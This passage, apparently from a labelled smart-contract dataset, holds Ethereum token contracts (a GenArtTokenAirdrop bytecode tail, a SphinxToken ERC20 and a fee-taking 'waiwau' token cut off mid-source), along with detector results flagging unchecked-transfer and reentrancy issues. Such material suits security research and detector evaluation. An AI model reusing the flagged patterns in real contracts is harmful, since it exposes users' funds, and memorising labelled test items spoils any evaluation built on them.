fffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f4ed4d15846040518263ffffffff1660e01b8152600401610b579190611874565b60206040518083038186803b158015610b6f57600080fd5b505afa158015610b83573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba791906113a0565b90506000805b600780549050811015610d00576000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c65be56260078481548110610c34577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154886040518363ffffffff1660e01b8152600401610c5d92919061188f565b60206040518083038186803b158015610c7557600080fd5b505afa158015610c89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cad91906113f2565b905060008185610cbe576001610cc1565b60055b60ff16610cce91906119d6565b905060035481610cde919061197c565b84610ce99190611926565b935050508080610cf890611a52565b915050610bad565b5060005b600880549050811015610e57576000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c65be56260088481548110610d8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154886040518363ffffffff1660e01b8152600401610db492919061188f565b60206040518083038186803b158015610dcc57600080fd5b505afa158015610de0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0491906113f2565b905060008185610e15576001610e18565b60055b60ff16610e2591906119d6565b905060035481610e35919061197c565b84610e409190611926565b935050508080610e4f90611a52565b915050610d04565b5080925050505b919050565b610e6b611142565b73ffffffffffffffffffffffffffffffffffffffff16610e89611021565b73ffffffffffffffffffffffffffffffffffffffff1614610edf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed6906117f4565b60405180910390fd5b610ee9600061114a565b565b600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340398d67846040518263ffffffff1660e01b8152600401610f499190611719565b60006040518083038186803b158015610f6157600080fd5b505afa158015610f75573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190610f9e919061135f565b90506000805b825181101561101657610ff6838281518110610fe9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151610ac9565b826110019190611926565b9150808061100e90611a52565b915050610fa4565b508092505050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611052611142565b73ffffffffffffffffffffffffffffffffffffffff16611070611021565b73ffffffffffffffffffffffffffffffffffffffff16146110c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bd906117f4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611136576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112d90611794565b60405180910390fd5b61113f8161114a565b50565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600061122161121c846118e9565b6118b8565b9050808382526020820190508285602086028201111561124057600080fd5b60005b85811015611270578161125688826112f8565b845260208401935060208301925050600181019050611243565b5050509392505050565b60008135905061128981611af9565b92915050565b60008151905061129e81611af9565b92915050565b600082601f8301126112b557600080fd5b81516112c584826020860161120e565b91505092915050565b6000815190506112dd81611b10565b92915050565b6000813590506112f281611b27565b92915050565b60008151905061130781611b27565b92915050565b60006020828403121561131f57600080fd5b600061132d8482850161127a565b91505092915050565b60006020828403121561134857600080fd5b60006113568482850161128f565b91505092915050565b60006020828403121561137157600080fd5b600082015167ffffffffffffffff81111561138b57600080fd5b611397848285016112a4565b91505092915050565b6000602082840312156113b257600080fd5b60006113c0848285016112ce565b91505092915050565b6000602082840312156113db57600080fd5b60006113e9848285016112e3565b91505092915050565b60006020828403121561140457600080fd5b6000611412848285016112f8565b91505092915050565b6000806040838503121561142e57600080fd5b600061143c858286016112e3565b925050602061144d8582860161127a565b9150509250929050565b61146081611a0a565b82525050565b6000611473602683611915565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006114d9602683611915565b91507f47656e417274546f6b656e41697264726f703a206e6f20746f6b656e7320746f60008301527f20636c61696d00000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061153f603583611915565b91507f47656e417274546f6b656e41697264726f703a2073656e646572206973206e6f60008301527f74206f776e6572206f66206d656d6265727368697000000000000000000000006020830152604082019050919050565b60006115a5602083611915565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b60006115e5602a83611915565b91507f47656e417274546f6b656e41697264726f703a20746f6b656e7320616c72656160008301527f647920636c61696d6564000000000000000000000000000000000000000000006020830152604082019050919050565b600061164b603383611915565b91507f47656e417274546f6b656e41697264726f703a2073656e64657220646f65732060008301527f6e6f74206f776e206d656d6265727368697073000000000000000000000000006020830152604082019050919050565b60006116b1603383611915565b91507f47656e417274546f6b656e41697264726f703a20746f6b656e20636c61696d6960008301527f6e672077696e646f772068617320656e646564000000000000000000000000006020830152604082019050919050565b61171381611a48565b82525050565b600060208201905061172e6000830184611457565b92915050565b60006040820190506117496000830185611457565b611756602083018461170a565b9392505050565b60006060820190506117726000830186611457565b61177f602083018561170a565b61178c604083018461170a565b949350505050565b600060208201905081810360008301526117ad81611466565b9050919050565b600060208201905081810360008301526117cd816114cc565b9050919050565b600060208201905081810360008301526117ed81611532565b9050919050565b6000602082019050818103600083015261180d81611598565b9050919050565b6000602082019050818103600083015261182d816115d8565b9050919050565b6000602082019050818103600083015261184d8161163e565b9050919050565b6000602082019050818103600083015261186d816116a4565b9050919050565b6000602082019050611889600083018461170a565b92915050565b60006040820190506118a4600083018561170a565b6118b1602083018461170a565b9392505050565b6000604051905081810181811067ffffffffffffffff821117156118df576118de611aca565b5b8060405250919050565b600067ffffffffffffffff82111561190457611903611aca565b5b602082029050602081019050919050565b600082825260208201905092915050565b600061193182611a48565b915061193c83611a48565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561197157611970611a9b565b5b828201905092915050565b600061198782611a48565b915061199283611a48565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156119cb576119ca611a9b565b5b828202905092915050565b60006119e182611a48565b91506119ec83611a48565b9250828210156119ff576119fe611a9b565b5b828203905092915050565b6000611a1582611a28565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000611a5d82611a48565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611a9057611a8f611a9b565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b611b0281611a0a565b8114611b0d57600080fd5b50565b611b1981611a1c565b8114611b2457600080fd5b50565b611b3081611a48565b8114611b3b57600080fd5b5056fea2646970667358221220f918bc17df1b2395b6a0b3d128620ae9a4345574c98762096e6f53c5ada3ed0a64736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 5,166 |
0x7d90308abe79737191e7e169f768ee4ac57cbe3a
|
pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract SphinxToken is PausableToken {
string public constant name = "SphinxToken";
string public constant symbol = "SPX";
uint8 public constant decimals = 18;
uint256 public constant totalSupply = 10000000000000000000000000000;
constructor() public {
balances[msg.sender] = totalSupply;
}
}
|
0x6080604052600436106100f05763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100f5578063095ea7b31461017f57806318160ddd146101b757806323b872dd146101de578063313ce567146102085780633f4ba83a146102335780635c975abb1461024a578063661884631461025f57806370a0823114610283578063715018a6146102a45780638456cb59146102b95780638da5cb5b146102ce57806395d89b41146102ff578063a9059cbb14610314578063d73dd62314610338578063dd62ed3e1461035c578063f2fde38b14610383575b600080fd5b34801561010157600080fd5b5061010a6103a4565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014457818101518382015260200161012c565b50505050905090810190601f1680156101715780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018b57600080fd5b506101a3600160a060020a03600435166024356103db565b604080519115158252519081900360200190f35b3480156101c357600080fd5b506101cc610406565b60408051918252519081900360200190f35b3480156101ea57600080fd5b506101a3600160a060020a0360043581169060243516604435610416565b34801561021457600080fd5b5061021d610443565b6040805160ff9092168252519081900360200190f35b34801561023f57600080fd5b50610248610448565b005b34801561025657600080fd5b506101a36104c4565b34801561026b57600080fd5b506101a3600160a060020a03600435166024356104d4565b34801561028f57600080fd5b506101cc600160a060020a03600435166104f8565b3480156102b057600080fd5b50610248610513565b3480156102c557600080fd5b50610248610585565b3480156102da57600080fd5b506102e3610606565b60408051600160a060020a039092168252519081900360200190f35b34801561030b57600080fd5b5061010a610615565b34801561032057600080fd5b506101a3600160a060020a036004351660243561064c565b34801561034457600080fd5b506101a3600160a060020a0360043516602435610670565b34801561036857600080fd5b506101cc600160a060020a0360043581169060243516610694565b34801561038f57600080fd5b50610248600160a060020a03600435166106bf565b60408051808201909152600b81527f537068696e78546f6b656e000000000000000000000000000000000000000000602082015281565b60025460009060a060020a900460ff16156103f557600080fd5b6103ff83836106e6565b9392505050565b6b204fce5e3e2502611000000081565b60025460009060a060020a900460ff161561043057600080fd5b61043b848484610750565b949350505050565b601281565b60025433600160a060020a0390811691161461046357600080fd5b60025460a060020a900460ff16151561047b57600080fd5b6002805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b60025460a060020a900460ff1681565b60025460009060a060020a900460ff16156104ee57600080fd5b6103ff83836108d0565b600160a060020a031660009081526020819052604090205490565b60025433600160a060020a0390811691161461052e57600080fd5b600254604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26002805473ffffffffffffffffffffffffffffffffffffffff19169055565b60025433600160a060020a039081169116146105a057600080fd5b60025460a060020a900460ff16156105b757600080fd5b6002805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600254600160a060020a031681565b60408051808201909152600381527f5350580000000000000000000000000000000000000000000000000000000000602082015281565b60025460009060a060020a900460ff161561066657600080fd5b6103ff83836109c9565b60025460009060a060020a900460ff161561068a57600080fd5b6103ff8383610ac2565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b60025433600160a060020a039081169116146106da57600080fd5b6106e381610b64565b50565b600160a060020a03338116600081815260016020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b6000600160a060020a038316151561076757600080fd5b600160a060020a03841660009081526020819052604090205482111561078c57600080fd5b600160a060020a03808516600090815260016020908152604080832033909416835292905220548211156107bf57600080fd5b600160a060020a0384166000908152602081905260409020546107e8908363ffffffff610be216565b600160a060020a03808616600090815260208190526040808220939093559085168152205461081d908363ffffffff610bf416565b600160a060020a0380851660009081526020818152604080832094909455878316825260018152838220339093168252919091522054610863908363ffffffff610be216565b600160a060020a038086166000818152600160209081526040808320338616845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b600160a060020a0333811660009081526001602090815260408083209386168352929052908120548083111561092d57600160a060020a033381166000908152600160209081526040808320938816835292905290812055610964565b61093d818463ffffffff610be216565b600160a060020a033381166000908152600160209081526040808320938916835292905220555b600160a060020a0333811660008181526001602090815260408083209489168084529482529182902054825190815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a35060019392505050565b6000600160a060020a03831615156109e057600080fd5b600160a060020a033316600090815260208190526040902054821115610a0557600080fd5b600160a060020a033316600090815260208190526040902054610a2e908363ffffffff610be216565b600160a060020a033381166000908152602081905260408082209390935590851681522054610a63908363ffffffff610bf416565b600160a060020a03808516600081815260208181526040918290209490945580518681529051919333909316927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350600192915050565b600160a060020a033381166000908152600160209081526040808320938616835292905290812054610afa908363ffffffff610bf416565b600160a060020a0333811660008181526001602090815260408083209489168084529482529182902085905581519485529051929391927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a350600192915050565b600160a060020a0381161515610b7957600080fd5b600254604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610bee57fe5b50900390565b81810182811015610c0157fe5b929150505600a165627a7a72305820203b09bca246dc1b690d38cda6c2740ec7411a8c5cf6a051aaecd584aaec707f0029
|
{"success": true, "error": null, "results": {}}
| 5,167 |
0x8fb1f6abdddffeb7f0435134431ef66cd04fe63b
|
/**
*
*
*
* SPDX-License-Identifier: UNLICENSED
*
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract waiwau is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"waiwau";
string private constant _symbol = unicode"WIWU";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _teamFee = 4;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private _noTaxMode = false;
bool private inSwap = false;
uint256 private walletLimitDuration;
struct User {
uint256 buyCD;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
require(!_bots[from] && !_bots[to]);
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
if (walletLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(5).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(5).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || _noTaxMode){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
